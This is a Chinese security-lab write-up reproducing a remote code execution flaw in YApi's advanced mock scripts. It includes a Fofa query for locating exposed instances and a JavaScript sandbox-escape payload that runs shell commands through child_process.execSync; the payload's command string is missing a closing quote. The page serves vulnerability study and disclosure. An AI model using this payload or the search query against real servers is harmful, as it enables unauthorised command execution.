Yapi Mock 远程代码执行漏洞复现–Komorebi-漏洞文库小世界-安全文库-NGC660 安全实验室

Yapi Mock 远程代码执行漏洞复现–Komorebi

简介

YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业使用。

漏洞原理

YAPI项目使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务。其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。

Fofa

app="YApi"

漏洞复现

默认注册功能开启。注册后创建项目:

1629856827901-f50e26d1-a653-4e75-b68a-e33a8c436b9a

1629856837169-a599c34e-3dae-4d88-9498-29014ea8db57

添加项目

1629856846252-f7cefedf-8023-41ad-843f-d3ba16f66284

添加接口

1629856858084-1812af34-4edc-4bd8-99ab-58255ab40638

选择“高级mock”,添加脚本

1629856899598-7020b5c1-a647-4573-84ad-72e3ded2fd7f

脚本payload如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson =process.mainModule.require("child_process").execSync("whoami && ps -ef).toString()

保存成功后访问该mock地址

1629856986666-09f0187a-5124-4d5f-93af-9f1c780391fa

1629857001042-9060ae64-0800-4a3b-a31d-30df5934df74

参考链接

YApi Mock功能远程代码执行漏洞复现 – 云+社区 – 腾讯云
https://cloud.tencent.com/developer/article/1851526

请登录后发表评论

    请登录后查看回复内容